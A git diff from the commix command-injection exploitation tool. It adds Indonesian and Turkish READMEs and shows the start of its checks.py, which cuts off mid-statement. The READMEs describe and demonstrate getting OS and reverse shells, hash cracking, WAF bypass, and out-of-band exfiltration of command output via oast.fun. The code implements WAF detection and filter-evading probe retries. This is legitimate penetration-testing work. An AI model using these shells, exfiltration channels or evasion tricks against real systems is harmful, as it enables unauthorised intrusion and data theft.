+ +**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command](https://owasp.org/www-community/attacks/Command_Injection)** (dan **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection. + +![Screenshot](https://commixproject.com/images/background.png) + +Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixproject/commix/wiki/Screenshots) yang menunjukkan beberapa fitur di wiki. + +> [!IMPORTANT] +> **Proyek ini sedang dalam pengembangan aktif.** Perubahan yang dapat merusak kompatibilitas +> mungkin terjadi antar revisi. Periksa +> [catatan perubahan](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) sebelum +> memperbarui. +> +> Commix terutama dibuat untuk digunakan sebagai alat baris perintah mandiri, dan alat ini +> menjalankan perintah sistem operasi pada target yang diujinya. **Menjalankan commix sebagai sebuah +> layanan dapat menimbulkan risiko keamanan.** Gunakan dengan hati-hati, dan hanya terhadap sistem +> milik Anda sendiri atau yang Anda memiliki izin tertulis untuk mengujinya. + +## Fitur + +* **Empat teknik injeksi** - results-based, boolean-based, time-based dan file-based, dipilih dengan `--technique` atau berdasarkan tipe yang mereka laporkan dengan `--type` - lihat [techniques](https://github.com/commixproject/commix/wiki/Techniques) untuk apa yang dituntut masing-masing dari sebuah target. +* **Out-of-band, ketika tidak ada yang kembali** - `--oob` membuktikan eksekusi dan membawa keluaran perintah melalui HTTP/S atau DNS, mencapai server lewat klien apa pun yang kebetulan dimiliki target - lihat [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) untuk klien yang dicoba dan cara menetapkan salah satunya. +* **Injeksi kode** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) menguji apa yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, PowerShell, Perl, atau Lua, dengan teknik yang sama. +* **Di mana pun masukan mendarat** - parameter GET/POST, [header HTTP dan cookie](https://github.com/commixproject/commix/wiki/Usage#request-options), body JSON/XML/GraphQL, serta modul `shellshock` untuk target CGI. +* **Dari bukti ke shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), mode bawaan `reverse_tcp` dan `bind_tcp` yang dapat ditingkatkan menjadi PTY penuh, transfer berkas, baca/tulis registry Windows, dan enumerasi hingga hash kata sandi, dengan serangan kamus yang ditawarkan terhadapnya. +* **Pengelakan filter dan WAF** - skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik - lihat [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Target dalam bentuk apa pun** - satu URL, penelusuran situs, formulir HTML, sitemap, deskripsi OpenAPI (Swagger), log proxy, berkas berisi banyak target, permintaan HTTP mentah, atau masukan `stdin` - lihat [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Dapat dilanjutkan dan diskripkan** - [berkas sesi per target](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), keluaran JSON/CSV/HAR, profil opsi yang dapat digunakan kembali, `--proof`, yang membuktikan kembali setiap temuan dengan percobaannya sendiri, dan sebuah [REST API](https://github.com/commixproject/commix/wiki/API) untuk menjalankan pemindaian dari tempat lain. +* **Unix maupun Windows** - back-end PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI - lihat +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) +untuk perbedaan muatannya. + +## Instalasi + +Anda dapat mengunduh commix di platform apa pun dengan mengkloning repositori resmi Git: + + $ git clone https://github.com/commixproject/commix.git commix + +Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tarball/master) atau [zipball](https://github.com/commixproject/commix/zipball/master) terbaru. + +> [!NOTE] +> **[Python](https://www.python.org/downloads/)** (versi **3.7** atau lebih baru) diperlukan untuk +> menjalankan commix. Semua dependensi lainnya sudah disertakan, sehingga tidak diperlukan langkah +> instalasi tambahan. + + +## Penggunaan + +Untuk mendapatkan daftar semua opsi dan beralih gunakan: + + $ python3 commix.py -h + +Menguji satu parameter yang dapat diinjeksi, lalu masuk ke shell pada target: + + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell + +Membuktikan eksekusi secara out-of-band, ketika respons tidak mengembalikan apa pun: + + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob + +> [!NOTE] +> Klien dipilih berdasarkan apa yang dimiliki target, sehingga mesin tanpa klien HTTP yang biasa pun +> tetap terjangkau - tetapkan salah satu dengan `--oob-transport` bila jalur keluarnya sudah +> diketahui. Deteksi out-of-band (OAST) dengan `--oob` secara bawaan menggunakan server interactsh +> publik `oast.fun`, sehingga metadata interaksi dengan target Anda keluar dari jaringan Anda. Arahkan +> `--oob-server` ke instansi milik sendiri agar tetap berada di jaringan internal. Untuk panduan +> lengkap, lihat halaman +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) di wiki. + +Memindai daftar target tanpa pengawasan dan menyimpan hasilnya ke sebuah berkas: + + $ python3 commix.py -m targets.txt --batch --report-json=results.json + +Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, beralih dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** halaman wiki. + + +## Link + +* Panduan : https://github.com/commixproject/commix/wiki +* Pelacak masalah : https://github.com/commixproject/commix/issues diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md new file mode 100644 index 0000000000..5da5ff488d --- /dev/null +++ b/doc/translations/README-tr-TR.md @@ -0,0 +1,97 @@ +

+ CommixProject +

+ +
+ +[`English`](../../README.md) • [`Ελληνικά`](README-gr-GR.md) • [`Español`](README-es-ES.md) • [`Français`](README-fr-FR.md) • [`فارسی`](README-fa-FA.md) • [`Bahasa Indonesia`](README-idn-IDN.md) • `Türkçe` + +
+ +

+ Builds Tests + Python 3.7+ + GPLv3 License + Follow @commixproject +

+ +**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut](https://owasp.org/www-community/attacks/Command_Injection)** (ve **[kod](https://owasp.org/www-community/attacks/Code_Injection)**) enjeksiyonu güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. + +![Screenshot](https://commixproject.com/images/background.png) + +Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](https://github.com/commixproject/commix/wiki/Screenshots) ziyaret edebilirsiniz. + +> [!IMPORTANT] +> **Bu proje aktif geliştirme aşamasındadır.** Sürümler arasında geriye dönük uyumluluğu bozan +> değişiklikler olabilir. Güncellemeden önce +> [değişiklik günlüğünü](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) +> inceleyin. +> +> Commix öncelikle bağımsız bir komut satırı aracı olarak kullanılmak üzere tasarlanmıştır ve test +> ettiği hedeflerde işletim sistemi komutları çalıştırır. **Commix'i bir servis olarak çalıştırmak +> güvenlik riskleri doğurabilir.** Dikkatli kullanılması ve yalnızca size ait olan ya da test etmek +> için açık yetkiye sahip olduğunuz sistemlerde kullanılması önerilir. + +## Özellikler + +* **Dört enjeksiyon tekniği** - results-based, boolean-based, time-based ve file-based; `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir - her birinin hedeften ne istediği için bkz. [techniques](https://github.com/commixproject/commix/wiki/Techniques). +* **Hiçbir şey geri dönmediğinde out-of-band** - `--oob` yürütmeyi kanıtlar ve komutun çıktısını HTTP/S ya da DNS üzerinden geri taşır; sunucuya hedefte hangi istemci varsa onunla ulaşır - hangilerini denediği ve nasıl sabitleneceği için bkz. [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client). +* **Kod enjeksiyonu** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection), hedefin kod olarak değerlendirdiğini PHP, Python, Ruby, JavaScript, PowerShell, Perl veya Lua olarak, aynı tekniklerle sınar. +* **Girdi nereye düşerse** - GET/POST parametreleri, [HTTP başlıkları ve çerezler](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. +* **Kanıttan kabuğa** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), tam PTY'ye yükseltilebilen yerleşik `reverse_tcp` ve `bind_tcp`, dosya aktarımı, Windows kayıt defteri okuma/yazma ve parola özetlerine kadar numaralandırma; bunlara karşı bir sözlük saldırısı da önerilir. +* **Filtre ve WAF atlatma** - birlikte kullanılabilen tamper betikleri, belirlenimci bir sırayla uygulanır - bkz. [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Her biçimde hedef** - bir URL, site taraması, HTML formları, sitemap, bir OpenAPI (Swagger) tanımı, proxy günlüğü, çoklu hedef dosyası, ham HTTP isteği veya `stdin` girdisi - bkz. [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Devam ettirilebilir ve betiklenebilir** - [hedef bazında oturum dosyaları](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), JSON/CSV/HAR çıktısı, yeniden kullanılabilir seçenek profilleri, her bulguyu kendi deneyiyle yeniden kanıtlayan `--proof` ve başka bir yerden tarama başlatmak için bir [REST API](https://github.com/commixproject/commix/wiki/API). +* **Unix benzeri ve Windows** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI arka uçları - yüklerin nasıl farklılaştığı için bkz. +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance). + +## Kurulum + +Resmi Git deposunu klonlayarak commix'i herhangi bir platformda indirebilirsiniz : + + + $ git clone https://github.com/commixproject/commix.git commix + +Alternatif olarak, en son [tarball](https://github.com/commixproject/commix/tarball/master) veya [zipball](https://github.com/commixproject/commix/zipball/master) olarak indirebilirsiniz. + +> [!NOTE] +> Commix'i çalıştırmak için **[Python](https://www.python.org/downloads/)** (sürüm **3.7** veya +> üzeri) gereklidir. Diğer tüm bağımlılıklar programla birlikte gelir, bu nedenle ek bir kurulum +> adımına gerek yoktur. + + +## Kullanım + +Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin: + + $ python3 commix.py -h + +Tek bir enjekte edilebilir parametreyi test edip hedefte bir kabuk açmak için: + + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell + +Yanıtın hiçbir şey döndürmediği durumlarda çalıştırmayı bant dışı yöntemle kanıtlamak için: + + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob + +> [!NOTE] +> İstemci, hedefte ne varsa ona göre seçilir; bu yüzden alışılmış HTTP istemcilerinden yoksun bir +> makine de erişilebilir kalır - çıkış trafiği zaten biliniyorsa `--oob-transport` ile birini +> sabitleyin. `--oob` ile yapılan bant dışı (OAST) tespit, varsayılan olarak herkese açık `oast.fun` +> interactsh sunucusunu kullanır; bu nedenle hedefinizle ilgili etkileşim meta verileri ağınızın +> dışına çıkar. +> Bunları kurum içinde tutmak için `--oob-server` seçeneğini kendi sunucunuza yönlendirin. Ayrıntılı +> rehber için wiki'deki +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) sayfasına bakın. + +Bir hedef listesini gözetimsiz taramak ve sonuçları bir dosyaya yazmak için: + + $ python3 commix.py -m targets.txt --batch --report-json=results.json + +Mevcut commix seçenekleri veya commix'in nasıl kullanılacağına dair temel fikirler hakkında bilgi edinmek amacıyla **[kullanım kılavuzu](https://github.com/commixproject/commix/wiki/Usage)**, **[kullanım örnekleri](https://github.com/commixproject/commix/wiki/Usage-examples)** ve **[filtre bypassları](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** wiki sayfalarını ziyaret edebilirsiniz. + + +## Linkler + +* Kullanım kılavuzu: https://github.com/commixproject/commix/wiki +* Sorun takibi: https://github.com/commixproject/commix/issues diff --git a/setup.py b/setup.py index a13aa90fcb..3f170c77fd 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2019 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -17,7 +17,7 @@ setup( name='commix', - version='3.3', + version='4.2.dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', @@ -29,21 +29,33 @@ 'Tracker': 'https://github.com/commixproject/commix/issues', }, license='GNU General Public License v3 (GPLv3)', - packages=find_packages(), + python_requires='>=3.7', + # The data files live beside the code rather than inside it, so they are named here to be + # installed along with it. + # The suite is run from a checkout, not from an install, so it is left out of the package. + packages=find_packages(exclude=["tests"]) + ["data", "data.txt"], include_package_data=True, + package_data={"": ["*.txt"], "data.txt": ["*.txt", "*.tx_"]}, zip_safe=False, classifiers=[ 'Development Status :: 5 - Production/Stable', 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)', 'Natural Language :: English', 'Operating System :: OS Independent', - 'Programming Language :: Python', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.7', + 'Programming Language :: Python :: 3.8', + 'Programming Language :: Python :: 3.9', + 'Programming Language :: Python :: 3.10', + 'Programming Language :: Python :: 3.11', + 'Programming Language :: Python :: 3.12', 'Environment :: Console', 'Topic :: Security', ], entry_points={ 'console_scripts': [ - 'commix = src.core.main:entry_point' + 'commix = src.core.main:entry_point', + 'commixapi = src.utils.api:entry_point' ] }, ) diff --git a/src/__init__.py b/src/__init__.py index b50e6972c9..ca8037d413 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/__init__.py b/src/core/__init__.py index b50e6972c9..ca8037d413 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/compat.py b/src/core/compat.py index 2db6ac6049..e5e6924a7b 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -18,4 +18,6 @@ if sys.version_info >= (3, 0): xrange = range else: - xrange = xrange \ No newline at end of file + xrange = xrange + +# eof diff --git a/src/core/controller/__init__.py b/src/core/controller/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/controller/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py new file mode 100644 index 0000000000..8fdec43154 --- /dev/null +++ b/src/core/controller/checks.py @@ -0,0 +1,8647 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import io +import re +import codecs +import difflib +import os +import sys +import json +import time +import shlex +import socket +import random +import string +import threading +import base64 +import importlib +import gzip +import zlib +import subprocess +import contextlib +import statistics +import tempfile +from glob import glob +from src.utils import common +from src.utils import logs +from src.utils import version +from src.utils import crypt_algos +from src.utils import jwt_audit +from src.core.parse import cmdline as menu +from src.utils import settings +from src.thirdparty.odict import OrderedDict +from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import parameters +from src.core.requests import stability +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client +from src.thirdparty.six.moves import html_parser as _html_parser +from src.thirdparty.colorama import Style, Fore +from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list + +try: + if settings.PLATFORM == "mac": + import readline + if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): + import gnureadline as readline + else: + import readline +except ImportError: + try: + import pyreadline as readline + except ImportError: + # Bound all the same: what reaches for it later then fails as a missing attribute, which the + # callers already catch, rather than as a name that was never defined at all. + readline = None + settings.READLINE_ERROR = True + +""" +Exiting, with the code the run ended on - which is how a caller tells an error from a finished run. +""" +def exit(code=0): + # Said before the line that closes the run, so it is the last thing about the run itself. + version.announce_if_outdated() + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.execution("Ending")) + # Nothing runs after the line below, so the report is settled before it. + logs.finalize_report(code if isinstance(code, int) else 0) + os._exit(code if isinstance(code, int) else 0) + +""" +Persist a new WAF/IPS finding when possible; defer the import to avoid a circular dependency. +""" +def persist_waf_finding(): + if menu.options.ignore_session or not settings.TARGET_NETLOC: + return + from src.utils import session_handler + session_handler.import_waf_status(settings.TARGET_NETLOC, True) + +""" +Matches a blocked response's headers and body against known WAF/CDN product signatures, so the +target can be named rather than spoken of in general terms. Tried once, the first time a block is +seen - 'detect_waf' only reaches here before 'settings.WAF_ENABLED' is set. +""" +def identify_waf(err): + try: + blob = str(getattr(err, "headers", "")) + str(err.read()) + except Exception: + return None + return identify_waf_in_text(blob) + +""" +Matches text (a response body, or a blocked response's headers-and-body) against known WAF/CDN +product signatures, from 'settings.WAF_SIGNATURES'. +""" +def identify_waf_in_text(text): + for name, regex in settings.WAF_SIGNATURES.items(): + if re.search(regex, text or ""): + return name + return None + +""" +Flags the target as WAF/IPS-protected on a block-like HTTP status code. +""" +def detect_waf(err): + err_code = getattr(err, "code", None) + if str(err_code) in settings.WAF_BLOCK_HTTP_CODES and \ + not menu.options.skip_waf and \ + not settings.HOST_INJECTION: + if not settings.WAF_ENABLED: + settings.WAF_IDENTIFIED = identify_waf(err) + if settings.WAF_IDENTIFIED: + warn_msg = "'" + settings.WAF_IDENTIFIED + "' is protecting the target." + else: + warn_msg = "It seems some kind of WAF/IPS is protecting the target." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.WAF_ENABLED = True + persist_waf_finding() + else: + # Already evading and still blocked, so what is in use is not enough. + escalate_waf_evasion() + return True + return False + +""" +Whether what came back is the protection's own page rather than the application's. + +The probe above carries an obvious attack, so a target that filters at all answers it with +something other than its own page. Where that answer is a status code, 'detect_waf' already has +it; where the filter answers in-band - its own short refusal, served as a 200, with the +application below never reached - nothing reading the code alone sees anything wrong, and the run +goes on sending payloads that were refused before the sink was reached. + +Read as a ratio against what an ordinary request was answered with, rather than as a pattern: +what a refusal says is written by whoever wrote the filter, and the one thing every one of them +has in common is that it is not the page that was there before. +""" +def detect_waf_in_page(response): + if settings.WAF_ENABLED or menu.options.skip_waf or settings.HOST_INJECTION: + return False + if response is None or isinstance(response, bool) or not settings.WAF_CHECK_BASELINE: + return False + from src.core.requests import requests + requests.capture_original_page(response) + page = settings.ORIGINAL_PAGE + if not page or page == settings.WAF_CHECK_BASELINE: + return False + if page_ratio(settings.WAF_CHECK_BASELINE, page) >= settings.WAF_CHECK_RATIO: + return False + settings.WAF_IDENTIFIED = identify_waf_in_text(page) + if settings.WAF_IDENTIFIED: + warn_msg = "'" + settings.WAF_IDENTIFIED + "' is protecting the target." + else: + warn_msg = "It seems some kind of WAF/IPS is protecting the target, answering in-band." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.WAF_ENABLED = True + persist_waf_finding() + return True + +""" +Detection of WAF/IPS protection. +""" +def check_waf(url, http_request_method): + payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD) + info_msg = "Checking whether some kind of WAF/IPS is protecting the target." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL >= 1: + # Shown the way it was written, as every other payload is - what goes on the wire is encoded, + # and that is what the traffic at '-v 2' shows. + settings.print_data_to_stdout(settings.print_payload(settings.WAF_CHECK_PAYLOAD)) + payload = "".join(random.sample(string.ascii_uppercase, k=4)) + "=" + payload + if not "?" in url: + payload = "?" + payload + else: + payload = settings.POST_DATA_PARAM_DELIMITER + payload + url = url + payload + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(remove_tags(url), remove_tags(settings.USER_DEFINED_POST_DATA).encode(), method=http_request_method) + else: + request = _urllib.request.Request(remove_tags(url), method=http_request_method) + headers.do_check(request) + return request, url + +""" +Check injection technique(s) status. +""" +def injection_techniques_status(): + if settings.RESULTS_BASED_STATE is not True and \ + settings.EVAL_BASED_STATE is not True and \ + settings.BOOLEAN_BASED_STATE is not True and \ + settings.TIME_BASED_STATE is not True and \ + settings.FILE_BASED_STATE is not True and \ + settings.TEMPFILE_BASED_STATE is not True and \ + settings.OOB_STATE is not True : + return False + else: + return True + +# The state flag each technique's confirmation set - needed to roll one back if the final check below finds it was a false positive. +_STATE_BY_TECHNIQUE = { + settings.INJECTION_TECHNIQUE.RESULTS_BASED: "RESULTS_BASED_STATE", + settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: "EVAL_BASED_STATE", + settings.INJECTION_TECHNIQUE.BOOLEAN_BASED: "BOOLEAN_BASED_STATE", + settings.INJECTION_TECHNIQUE.TIME_BASED: "TIME_BASED_STATE", + settings.INJECTION_TECHNIQUE.FILE_BASED: "FILE_BASED_STATE", + settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: "TEMPFILE_BASED_STATE", + settings.INJECTION_TECHNIQUE.OOB: "OOB_STATE", +} + +""" +The techniques whose confirmation is read off the target rather than carried by the payload. + +A page that reads one way for a true condition and another for a false one, or that answers slower +than it did before, is evidence about the target's own behaviour - which a flaky page, a loaded +network or a coincidence can imitate, so it is worth asking a second time before it is believed. + +The rest prove themselves by what came back: a six-character tag this run invented, written to a +file and then fetched out of the web root, or a hostname only this run knows being resolved, is not +something a target produces without having run the command. Re-asking those adds nothing, and the +litmus it re-asks with - built on 'test', '$?' and '$((...))' - is itself blocked by a filter on +'-' or '$', so asking it of a finding that already proved itself can only take a true one back. +""" +_INFERRED_TECHNIQUES = ( + settings.INJECTION_TECHNIQUE.BOOLEAN_BASED, + settings.INJECTION_TECHNIQUE.TIME_BASED, + # The tag it writes is read back by a command of its own and weighed as a page, never fetched: + # the file is written where the file-based technique could not reach the web root, so there is no + # URL to ask for it through. What proves it is a difference between two pages, same as the two + # above, and a page that moves on its own can produce one without the command having run. + settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED, +) + +""" +One last check of the parameter as a whole, once every applicable technique has already had its own +turn - a result-based or dynamic-code finding is an echoed value and is left as it stands, but a +parameter that only ever rests on an inference (boolean/time/file/tempfile/out-of-band) is asked the +same question once more before it is reported, the way the earlier per-technique confirmations were +each asked it on their own. 'mark' is the length of settings.CONFIRMED_INJECTION_POINTS before this +parameter's techniques ran, so only the entries they just added are the ones being re-asked about. +""" +def final_false_positive_check(url, http_request_method, check_parameter, timesec, mark): + new_points = settings.CONFIRMED_INJECTION_POINTS[mark:] + if not new_points or settings.LOAD_SESSION: + return + # One technique that proved itself is enough for the parameter, so there is nothing here to take + # back - whatever the inference-based ones alongside it would have answered on a second ask. + if any(row[0] not in _INFERRED_TECHNIQUES for row in new_points): + return + boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) + if not boundary: + return + prefix, suffix, separator, whitespace = boundary + from src.core.controller import injector + # One line for the whole parameter, said once - not the per-technique wording each technique's + # own confirmation already prints on the way here. + info_msg = "Checking if the injection point on " + settings.CHECKING_PARAMETER + " is a false positive" + if settings.VERBOSITY_LEVEL != 0: + info_msg = info_msg + "." + settings.END_LINE.LF + else: + info_msg = info_msg + ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + # A delay of 0 is what settings.TIMESEC sits at until some technique asks for a real one - a + # purely blind confirmation found through boolean-based alone never did, so the sleep this litmus + # measures needs the same safe minimum any other first ask for a delay would get. + timesec = timesec or settings.MIN_SAFE_TIMESEC + # The executor hands back elapsed time only while this flag is set - unset it hands back the raw + # response instead, which is all the litmus this reuses was ever written to read. + previous = settings.TIME_RELATED_ATTACK + settings.TIME_RELATED_ATTACK = True + try: + # Silent: this prints its own single line above, not the per-request chatter the reused check + # would otherwise add underneath it - but still asks for its dots, one per real request, same + # as every other multi-request progress line here. + _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, + url, check_parameter, None, 1, False, 0, 0, False, + settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) + # This litmus leans on '$?' and '$((...))' to read its own exit status back, which a + # technique other than time/boolean-based never needed and a filter on '$' blocks outright - + # a confirmed file/tempfile/OOB finding would otherwise be taken back over a limitation in + # the re-ask, not in the finding. Retried once, already-'$'-free, before giving up. + if not output and not settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&", "|"): + settings.SKIP_SUBST = True + try: + _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, + url, check_parameter, None, 1, False, 0, 0, False, + settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) + # Still nothing, and the confirmed boundary's own whitespace is a literal space - the one + # character the '$'-free retry above never swapped out. A horizontal tab reaches the same + # 'if test ... then sleep ... fi', is just as much a POSIX word separator, and is not what + # a filter written against a literal space character, specifically, is looking for. + if not output and whitespace == settings.SINGLE_WHITESPACE: + _, output = injector.false_positive_check(separator, "", "", prefix, suffix, "\t", timesec, http_request_method, + url, check_parameter, None, 1, False, 0, 0, False, + settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) + finally: + settings.SKIP_SUBST = False + # None of the above helps a filter built around a literal '-' rather than whitespace or '$' - + # every numeric 'test' this litmus writes leans on '-eq', whichever of the branches above built + # it. 'dashlesstest' already reads that the dash-free way ('=' in its place), so one more try + # with it applied is the same finding, asked a way this one filter does not catch. + if not output and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD and \ + not (settings.USER_APPLIED_TAMPER or menu.options.tamper): + settings.AUTO_TAMPER.append("dashlesstest") + tamper_scripts(stored_tamper_scripts=True) + _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, + url, check_parameter, None, 1, False, 0, 0, False, + settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) + finally: + settings.TIME_RELATED_ATTACK = previous + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + if not output: + # Said out loud, because what was already announced as found is being taken back here - left + # silent, the line that follows reads as though the technique above had never confirmed at all. + warn_msg = (settings.CHECKING_PARAMETER + " did not answer the same boundary a second time, so the " + "finding" + ('s', '')[len(new_points) == 1] + " reported above " + + ("is", "are")[len(new_points) != 1] + " discarded as a false positive.") + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.CONFIRMED_INJECTION_POINTS = settings.CONFIRMED_INJECTION_POINTS[:mark] + settings.IDENTIFIED_COMMAND_INJECTION = False + for row in new_points: + setattr(settings, _STATE_BY_TECHNIQUE[row[0]], False) + +""" +Check for quoted values +""" +def quoted_value(value): + return '"' + value + '"' + +""" +Payload fixation +""" +def payload_fixation(payload): + + payload = _urllib.parse.unquote(payload) + payload = _urllib.parse.quote(payload) + return payload + +""" +Get response output +""" +def get_response(output): + request = _urllib.request.Request(output) + headers.do_check(request) + response = headers.check_http_traffic(request) + if response is None: + response = headers.resend(request) + return response + +""" +Check for non custom parameters. +""" +def process_non_custom(): + if settings.CUSTOM_INJECTION_MARKER and not settings.SKIP_NON_CUSTOM_PARAMS: + while True: + message = "Other non-custom parameters found." + message += " Do you want to process them too? [Y/n] " + process = common.read_input(message, default="Y", check_batch=True) + if process in settings.CHOICE_YES: + settings.CUSTOM_INJECTION_MARKER = False + settings.SKIP_NON_CUSTOM_PARAMS = settings.IGNORE_USER_DEFINED_POST_DATA = False + return + elif process in settings.CHOICE_NO: + settings.SKIP_NON_CUSTOM_PARAMS = True + settings.IGNORE_USER_DEFINED_POST_DATA = False + return + elif process in 